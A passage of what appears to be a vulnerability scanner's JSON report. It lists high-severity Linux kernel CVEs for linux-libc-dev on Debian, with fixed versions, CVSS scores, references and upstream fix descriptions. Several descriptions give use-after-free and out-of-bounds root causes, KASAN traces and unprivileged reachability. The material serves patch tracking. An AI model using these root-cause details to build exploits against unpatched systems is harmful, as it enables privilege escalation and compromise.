"sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-74615", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:ddf99b935e7e0428f5d098ea435b904fc6434e1c7c20f3749c686a15e77acc85", "Title": "kernel: vxlan: do not arm the ageing timer on a device that is down", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nvxlan: do not arm the ageing timer on a device that is down\n\nvxlan_changelink() arms vxlan-\u003eage_timer whenever the requested ageing\ninterval differs from the configured one:\n\n\tif (conf.age_interval != vxlan-\u003ecfg.age_interval)\n\t\tmod_timer(\u0026vxlan-\u003eage_timer, jiffies);\n\nThere is no netif_running() test, so the timer is armed even on a device\nthat was never brought up. The only synchronous cancel in the driver is\nthe timer_delete_sync() in vxlan_stop(), which is .ndo_stop.\nnetif_close_many() drops devices without IFF_UP before\n__dev_close_many() runs, so that cancel is skipped for such a device.\n\nvxlan_setup() sets dev-\u003eneeds_free_netdev = true and age_timer is a\nmember of struct vxlan_dev, so free_netdev() releases the allocation the\ntimer lives in while it is still queued on a timer_base.\nexpire_timers() unlinks the entry before it loads timer-\u003efunction, so\nthe timer core writes through the freed object's list pointers:\n\n BUG: KASAN: slab-use-after-free in __run_timers+0x208/0x654\n Write of size 8 at addr ffff00001adace68 by task true/192\n __asan_store8+0x84/0xac\n __run_timers+0x208/0x654\n run_timer_softirq+0x154/0x18c\n Allocated by task 189:\n alloc_netdev_mqs+0x64/0x720\n rtnl_create_link+0x4ac/0x520\n rtnl_newlink+0x758/0xd00\n Freed by task 191:\n netdev_release+0x40/0x58\n netdev_run_todo+0x4a4/0x8c0\n rtnl_dellink+0x200/0x4e8\n\nThe rtnl operations involved are netns-scoped, so an unprivileged user\ncan perform them in a new user and network namespace.\n\nArming the timer on a down device never had an effect: vxlan_cleanup()\nreturns early on !netif_running(), and vxlan_open() arms the timer for\nany non-zero interval once the device is brought up. Add the missing\ntest.\n\nDiscovered by XBOW, triaged by Baul Lee \u003cbaul.lee@xbow.com\u003e", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-74615", "https://git.kernel.org/stable/c/26c179d47403d2f919ee914cc02c31d896b59fee", "https://git.kernel.org/stable/c/46bb297ad77680e009244f067f27d51cf5b8c7cf", "https://git.kernel.org/stable/c/619dd29045e439d0b0f8c6d4fec1af447a050680", "https://git.kernel.org/stable/c/6b095e99b9e67ea31f0c4b00260e010898253519", "https://git.kernel.org/stable/c/6b4119af544996a545cf84b16f1dbce829ba0de8", "https://git.kernel.org/stable/c/9dc561f0522c35bdd66e0646a748814a138ec4ca", "https://git.kernel.org/stable/c/b37971686ec59fb027fa4910ba16805e68fddb97", "https://git.kernel.org/stable/c/be44d79d14d7f9ae7c8ffb7272142005341b5123", "https://linux.oracle.com/cve/CVE-2026-74615.html", "https://linux.oracle.com/errata/ELSA-2026-500377.html", "https://lore.kernel.org/linux-cve-announce/2026082218-CVE-2026-74615-832f@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-74615", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-74615" ], "PublishedDate": "2026-08-22T16:16:34.143Z", "LastModifiedDate": "2026-10-16T20:17:46.847Z" }, { "VulnerabilityID": "CVE-2026-74616", "VendorIDs": [ "DSA-6466-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.105-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-74616", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:71e4d50bc6665bd4109c69c15c3ee3a77d0d036a4971e7864db82f189eda08ea", "Title": "kernel: xdp: reject clones that overrun skb_shared_info tailroom", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nxdp: reject clones that overrun skb_shared_info tailroom\n\nxdpf_clone() clones broadcast copies into a single page and sets\nframe_sz to PAGE_SIZE. __xdp_build_skb_from_frame() later treats that\npage like a normal XDP frame and expects the usual skb_shared_info\ntailroom at the end of the buffer.\n\nThe current check only rejects frames whose linear xdp_frame header,\nheadroom, and packet data exceed PAGE_SIZE. A source frame backed by a\nlarger allocation can still satisfy that check while extending into the\nclone's required shared-info area. When such a clone is converted back\ninto an skb, build_skb_around() places skb_shared_info over live packet\nbytes and later writes can corrupt XDP return metadata.\n\nReject clones unless their linear area fits inside\nSKB_WITH_OVERHEAD(PAGE_SIZE), matching the tailroom requirement already\nenforced by the XDP-to-skb conversion path.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 4, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-74616", "https://git.kernel.org/stable/c/58408982fa39f9758124cec169f42854d6f98f35", "https://git.kernel.org/stable/c/685edea27ac68d08fe4dbd3de74b858d2ad8e830", "https://git.kernel.org/stable/c/ba13763d667e008e185fedf592d53846a5b457d1", "https://git.kernel.org/stable/c/e48e8edbef2eb824201495daa5234560f632b23c", "https://git.kernel.org/stable/c/ef4b7c7046d29a67090de15af0da0d1ae8d1b192", "https://git.kernel.org/stable/c/f463b6f4957c9c3fd1c75f8d3e5af4879fa609c0", "https://git.kernel.org/stable/c/fab820f1691a9e26d9031f18aae1e9ce09078f92", "https://linux.oracle.com/cve/CVE-2026-74616.html", "https://linux.oracle.com/errata/ELSA-2026-500377.html", "https://lore.kernel.org/linux-cve-announce/2026082218-CVE-2026-74616-73b5@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-74616", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-74616" ], "PublishedDate": "2026-08-22T16:16:34.28Z", "LastModifiedDate": "2026-10-16T20:17:47.017Z" }, { "VulnerabilityID": "CVE-2026-74630", "VendorIDs": [ "DSA-6466-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.105-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-74630", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:df2078a9ba3ea6ba4e0077fa812e6c40968980139899341ebba10058c7f73ca2", "Title": "kernel: ipv6: prevent in6_dev_get() from resurrecting inet6_dev", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nipv6: prevent in6_dev_get() from resurrecting inet6_dev\n\nin6_dev_get() reads dev-\u003eip6_ptr under RCU and then unconditionally\nincrements its refcount. Device teardown can clear the pointer and drop\nthe last reference between these operations. The increment then\nresurrects an object whose RCU free has already been queued, so callers\ncan use it after it is freed.\n\nUse refcount_inc_not_zero() and return NULL when the object has already\nreached zero. RCU keeps the memory accessible through the attempted\nreference acquisition, and a successful increment pins the object for\nthe caller.\n\nAn independent run on the exact unpatched 6f5156d7a31a (v7.2-rc3)\nkernel reproduced the invalid reference acquisition as UID 1000:\n\n refcount_t: addition on 0; use-after-free.\n ip6_mc_source+0xef4/0x17e0\n\nIt was followed by the corresponding reference underflow in\nip6_mc_source(). The supplied trace from the same unpatched revision\nadditionally shows the access after the RCU read-side section ends:\n\n BUG: KASAN: slab-use-after-free in mutex_lock+0x76/0xe0\n Write of size 8 at addr ffff888015b50240 by task poc/1219\n\nBug found and triaged by OpenAI Security Research and\nvalidated by Trail of Bits.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "azure": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-74630", "https://git.kernel.org/stable/c/0e243671bc7b8eaf00f83dd2f4367436dc0cff98", "https://git.kernel.org/stable/c/145812b678de9f3b59780173be3c0d22ed60dd93", "https://git.kernel.org/stable/c/14e812ab41df0cac033479da835ec9a5de633404", "https://git.kernel.org/stable/c/1c206d461c680c3151daa3c89fc26eaf5bf98a7f", "https://git.kernel.org/stable/c/680fbd7942185448eadb990a3d10a53eb946b702", "https://git.kernel.org/stable/c/785d908f8d21c8bc78b6fb2c2932ab662bf6918a", "https://git.kernel.org/stable/c/aedcfefdb5b7ed7f8a6196a3e68a25bdbe51d2f8", "https://git.kernel.org/stable/c/cc5bd568f9b7683e60841b6fd02c10d64535bd6e", "https://linux.oracle.com/cve/CVE-2026-74630.html", "https://linux.oracle.com/errata/ELSA-2026-500377.html", "https://lore.kernel.org/linux-cve-announce/2026082221-CVE-2026-74630-8fae@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-74630", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-74630" ], "PublishedDate": "2026-08-22T16:16:35.943Z", "LastModifiedDate": "2026-10-16T20:17:48.063Z" }, { "VulnerabilityID": "CVE-2026-74631", "VendorIDs": [ "DSA-6466-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.105-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-74631", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:cb4dde04fdbd02472cb79a54bbb146d28ea9f5ba9ea1951c9c034f4d549ef3b7", "Title": "kernel: net: smc: fix splice entry lifetime imbalance in smc_rx_splice", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: smc: fix splice entry lifetime imbalance in smc_rx_splice\n\nsmc_rx_splice() passes pages to splice_to_pipe() before taking the\nreferences that cover the lifetime of each splice entry. In the\nVM-backed RMB path, splice_to_pipe() may drop unqueued entries through\nsmc_rx_spd_release(), while queued entries are released later via the\npipe buffer callback.\n\nThe old post-splice accounting also derives the number of queued VM pages\nfrom an offset mutated while building the descriptor, and a multi-page\nsplice pairs one sock_hold() with multiple sock_put() calls.\n\nTake the page and socket references for every candidate entry before\nsplice_to_pipe(), and drop the matching private state, page reference,\nand socket reference from smc_rx_spd_release() for entries that never\nget queued. This fixes a refcount imbalance that can underflow page\nrefcounts and trigger a use-after-free.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "azure": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.4 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:91565", "https://access.redhat.com/security/cve/CVE-2026-74631", "https://bugzilla.redhat.com/2492709", "https://bugzilla.redhat.com/2502255", "https://bugzilla.redhat.com/2502341", "https://bugzilla.redhat.com/2502376", "https://bugzilla.redhat.com/2502382", "https://bugzilla.redhat.com/2502615", "https://bugzilla.redhat.com/2507122", "https://bugzilla.redhat.com/2513163", "https://bugzilla.redhat.com/2513264", "https://bugzilla.redhat.com/2516579", "https://bugzilla.redhat.com/2517006", "https://bugzilla.redhat.com/2521413", "https://bugzilla.redhat.com/2528642", "https://bugzilla.redhat.com/2532122", "https://bugzilla.redhat.com/2535066", "https://bugzilla.redhat.com/2540323", "https://bugzilla.redhat.com/show_bug.cgi?id=2492709", "https://bugzilla.redhat.com/show_bug.cgi?id=2502255", "https://bugzilla.redhat.com/show_bug.cgi?id=2502341", "https://bugzilla.redhat.com/show_bug.cgi?id=2502376", "https://bugzilla.redhat.com/show_bug.cgi?id=2502382", "https://bugzilla.redhat.com/show_bug.cgi?id=2502615", "https://bugzilla.redhat.com/show_bug.cgi?id=2507122", "https://bugzilla.redhat.com/show_bug.cgi?id=2513163", "https://bugzilla.redhat.com/show_bug.cgi?id=2513264", "https://bugzilla.redhat.com/show_bug.cgi?id=2516579", "https://bugzilla.redhat.com/show_bug.cgi?id=2517006", "https://bugzilla.redhat.com/show_bug.cgi?id=2521413", "https://bugzilla.redhat.com/show_bug.cgi?id=2528642", "https://bugzilla.redhat.com/show_bug.cgi?id=2532122", "https://bugzilla.redhat.com/show_bug.cgi?id=2535066", "https://bugzilla.redhat.com/show_bug.cgi?id=2540323", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53236", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53388", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63978", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63979", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64027", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64109", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64523", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68136", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68338", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72083", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74515", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74631", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80824", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89638", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89777", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93262", "https://errata.almalinux.org/10/ALSA-2026-91565.html", "https://errata.rockylinux.org/RLSA-2026:91565", "https://git.kernel.org/stable/c/07ad246529d136d5ef441d5ab4c305d132ff3090", "https://git.kernel.org/stable/c/0b7d54cedea5cb158e21925ae0c6c2f5c87ed2a0", "https://git.kernel.org/stable/c/4515c78f4d9fd577270f012efeb062ea58b3682d", "https://git.kernel.org/stable/c/5d9686af2976741bbd79b150d1c9e60b81e7f12e", "https://git.kernel.org/stable/c/7ddc7af2ae7fc5a0c0635b245c0824c8b76de5cb", "https://git.kernel.org/stable/c/af02c67ce654356c58db20a0bb2db33ace3b07a8", "https://git.kernel.org/stable/c/c841789e456ec6751342fa800639ce8e82ff0e6b", "https://git.kernel.org/stable/c/ca8342b5fc24c249fdb998468f6a168b457c67e5", "https://linux.oracle.com/cve/CVE-2026-74631.html", "https://linux.oracle.com/errata/ELSA-2026-91565.html", "https://lore.kernel.org/linux-cve-announce/2026082221-CVE-2026-74631-4134@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-74631", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-74631" ], "PublishedDate": "2026-08-22T16:16:36.08Z", "LastModifiedDate": "2026-10-16T20:17:48.22Z" }, { "VulnerabilityID": "CVE-2026-74662", "VendorIDs": [ "DSA-6477-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.107-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-74662", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:5db6555f11d9c66cc56eafe9f69b6a282d7b74e2411416d262306e701bef92eb", "Title": "kernel: inet: frags: publish queues before arming timer", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ninet: frags: publish queues before arming timer\n\ninet_frag_create() arms the fragment queue timer before inserting the\nqueue into the fqdir rhashtable. If the namespace fragment timeout is\nzero or negative, the timer can run before the queue is published.\n\nThe timer callback then marks the queue complete, tries to remove a node\nthat is not in the hash table yet, and drops the anticipated hash\nreference. Creation can subsequently publish the completed queue without\nrestoring that reference, leaving a stale hash node after the caller drops\nthe remaining reference.\n\nPublish the queue first and arm the timer while holding the queue lock.\nThis makes timer expiry wait until the queue is visible in the hash table,\nso inet_frag_kill() can remove the node and balance the hash reference.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 4, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-74662", "https://git.kernel.org/stable/c/08a04d7bfb9c103432561aff8a62b6872e694a6a", "https://git.kernel.org/stable/c/39c6c4b267b65f00e0b0335a2ae00cbe9e3174f0", "https://git.kernel.org/stable/c/4ed0681dc2c1e0538b79d2fc56190ffcb369dacd", "https://git.kernel.org/stable/c/653d7ddf6cba867777a3d14c4f83ace008c5ad13", "https://git.kernel.org/stable/c/928128865e43b197e30688dc1bc991592c97edcf", "https://git.kernel.org/stable/c/9f904dd3e455750e5d4ec9b2f134835811b85a2f", "https://git.kernel.org/stable/c/d3ffb89b2944672cf7bdd8e9ee577d2043b4a956", "https://git.kernel.org/stable/c/f4e4dab62181b7fe7c011bed6fbef9fc3d48c769", "https://linux.oracle.com/cve/CVE-2026-74662.html", "https://linux.oracle.com/errata/ELSA-2026-500377.html", "https://lore.kernel.org/linux-cve-announce/2026082228-CVE-2026-74662-bad3@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-74662", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-74662" ], "PublishedDate": "2026-08-22T16:16:39.993Z", "LastModifiedDate": "2026-10-16T20:17:50.227Z" }, { "VulnerabilityID": "CVE-2026-74669", "VendorIDs": [ "DSA-6466-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.105-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-74669", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:762509cd03d567181a73ad3be44d33aa159924dbc9de9e45449d9edf923f996d", "Title": "kernel: ipvs: clear IPv4 options after rebasing tunnel ICMP errors", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nipvs: clear IPv4 options after rebasing tunnel ICMP errors\n\nip_vs_in_icmp() rebases an skb from the outer ICMP packet to the\nquoted original request before passing it to icmp_send(). However,\nIPCB(skb)-\u003eopt still describes the outer IPv4 header.\n\nA timestamp option in the outer header can therefore leave an offset\nthat points into the quoted transport header after the rebase.\n__ip_options_echo() treats a byte at that stale location as the option\nlength and copies it into the fixed-size option storage on the\n__icmp_send() stack, causing a stack out-of-bounds write.\n\nClear the stale option metadata after resetting the network header.\nKeep the remaining control block fields, including the ingress\ninterface used by the ICMP response path.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:75747", "https://access.redhat.com/security/cve/CVE-2026-74669", "https://bugzilla.redhat.com/2404123", "https://bugzilla.redhat.com/2418819", "https://bugzilla.redhat.com/2425013", "https://bugzilla.redhat.com/2425209", "https://bugzilla.redhat.com/2436789", "https://bugzilla.redhat.com/2482129", "https://bugzilla.redhat.com/2482143", "https://bugzilla.redhat.com/2486979", "https://bugzilla.redhat.com/2492276", "https://bugzilla.redhat.com/2492364", "https://bugzilla.redhat.com/2492728", "https://bugzilla.redhat.com/2492853", "https://bugzilla.redhat.com/2502230", "https://bugzilla.redhat.com/2502241", "https://bugzilla.redhat.com/2502431", "https://bugzilla.redhat.com/2502444", "https://bugzilla.redhat.com/2514441", "https://bugzilla.redhat.com/2516306", "https://bugzilla.redhat.com/2516717", "https://bugzilla.redhat.com/2516998", "https://bugzilla.redhat.com/2517052", "https://bugzilla.redhat.com/2521375", "https://bugzilla.redhat.com/2524431", "https://bugzilla.redhat.com/2524483", "https://bugzilla.redhat.com/2531066", "https://bugzilla.redhat.com/2532184", "https://bugzilla.redhat.com/2535140", "https://bugzilla.redhat.com/2536346", "https://bugzilla.redhat.com/2540479", "https://bugzilla.redhat.com/show_bug.cgi?id=2404123", "https://bugzilla.redhat.com/show_bug.cgi?id=2418819", "https://bugzilla.redhat.com/show_bug.cgi?id=2425013", "https://bugzilla.redhat.com/show_bug.cgi?id=2425209", "https://bugzilla.redhat.com/show_bug.cgi?id=2436789", "https://bugzilla.redhat.com/show_bug.cgi?id=2482129", "https://bugzilla.redhat.com/show_bug.cgi?id=2482143", "https://bugzilla.redhat.com/show_bug.cgi?id=2486979", "https://bugzilla.redhat.com/show_bug.cgi?id=2492276", "https://bugzilla.redhat.com/show_bug.cgi?id=2492364", "https://bugzilla.redhat.com/show_bug.cgi?id=2492728", "https://bugzilla.redhat.com/show_bug.cgi?id=2492853", "https://bugzilla.redhat.com/show_bug.cgi?id=2502230", "https://bugzilla.redhat.com/show_bug.cgi?id=2502241", "https://bugzilla.redhat.com/show_bug.cgi?id=2502431", "https://bugzilla.redhat.com/show_bug.cgi?id=2502444", "https://bugzilla.redhat.com/show_bug.cgi?id=2514441", "https://bugzilla.redhat.com/show_bug.cgi?id=2516306", "https://bugzilla.redhat.com/show_bug.cgi?id=2516717", "https://bugzilla.redhat.com/show_bug.cgi?id=2516998", "https://bugzilla.redhat.com/show_bug.cgi?id=2517052", "https://bugzilla.redhat.com/show_bug.cgi?id=2521375", "https://bugzilla.redhat.com/show_bug.cgi?id=2524431", "https://bugzilla.redhat.com/show_bug.cgi?id=2524483", "https://bugzilla.redhat.com/show_bug.cgi?id=2531066", "https://bugzilla.redhat.com/show_bug.cgi?id=2532184", "https://bugzilla.redhat.com/show_bug.cgi?id=2535140", "https://bugzilla.redhat.com/show_bug.cgi?id=2536346", "https://bugzilla.redhat.com/show_bug.cgi?id=2540479", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-50756", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-54048", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-39994", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-40242", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23105", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45856", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45861", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46319", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52972", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53049", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53230", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53270", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63794", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63829", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63992", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63994", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68432", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72052", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72255", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74516", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74569", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74669", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74744", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74746", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80921", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89481", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89972", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-90227", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-97417", "https://errata.almalinux.org/8/ALSA-2026-75747.html", "https://errata.rockylinux.org/RLSA-2026:75747", "https://git.kernel.org/stable/c/37c61b3745129cbd682c557b51345828120972e5", "https://git.kernel.org/stable/c/384b4dae14277d369221d187e9b3af56c79d2e50", "https://git.kernel.org/stable/c/6f46fc460e9316062bdcdf89199eb5d7a33da33b", "https://git.kernel.org/stable/c/75eec935444db4af2123e0491936f6e273d7ea00", "https://git.kernel.org/stable/c/79ffa99202c944467e28b13b513bf2998732edff", "https://git.kernel.org/stable/c/c9413b50204738fbc429bb86bf01353c393a6c28", "https://git.kernel.org/stable/c/e0ba936287dfe9783426aac27e5fd76fe35b38c9", "https://git.kernel.org/stable/c/ed246dd85ebf27c1f6b7897834d40786c0ca3006", "https://linux.oracle.com/cve/CVE-2026-74669.html", "https://linux.oracle.com/errata/ELSA-2026-76739.html", "https://lore.kernel.org/linux-cve-announce/2026082229-CVE-2026-74669-f574@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-74669", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-74669" ], "PublishedDate": "2026-08-22T16:16:40.827Z", "LastModifiedDate": "2026-10-16T20:17:51.09Z" }, { "VulnerabilityID": "CVE-2026-74705", "VendorIDs": [ "DSA-6466-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": 